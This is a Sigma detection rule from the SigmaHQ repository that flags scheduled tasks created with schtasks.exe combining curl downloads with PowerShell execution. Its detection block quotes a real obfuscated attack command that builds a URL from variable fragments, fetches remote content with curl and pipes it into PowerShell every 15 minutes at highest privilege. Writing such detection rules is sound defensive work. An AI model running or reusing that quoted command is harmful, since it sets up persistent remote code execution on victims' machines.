Sigma rule: Scheduled Task Creation with Curl and PowerShell Execution Combo

Rule

Title

Scheduled Task Creation with Curl and PowerShell Execution Combo

Status

experimental

Level

medium

Author

Swachchhanda Shrawan Poudel (Nextron Systems)

Date

2025-02-05

File

rules/windows/process_creation/proc_creation_win_schtasks_curl_and_powershell_combo.yml

Commit

ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them.
This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.

Log source

product

windows

category

process_creation

Detection

# Example: cmd start /min /c schtasks /create /tn PolicyConverter /sc minute /mo 15 /tr "conhost --headless cmd /v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set e=!a!://www.!b!!c!!d!m& curl -o - !e!/mscu/lokc.php?wl=HGNBWBGW**Admin | powershell" /rl Highest
selection_img:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains|windash: ' /create '
selection_curl:
    CommandLine|contains|all:
        - 'curl '
        - 'http'
        - '-o'
selection_powershell:
    CommandLine|contains: 'powershell'
condition: all of selection_*

False positives (as the rule lists them)

• Legitimate use of schtasks for administrative purposes.
• Automation scripts combining curl and PowerShell in controlled environments.

Tags

• attack.privilege-escalation
• attack.execution
• attack.persistence
• attack.stealth
• attack.t1053.005
• attack.t1218
• attack.command-and-control
• attack.t1105

MITRE ATT&CK ids this rule names

• T1053.005
• T1105
• T1218

References

• https://tria.ge/241015-l98snsyeje/behavioral2

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_schtasks_curl_and_powershell_combo.yml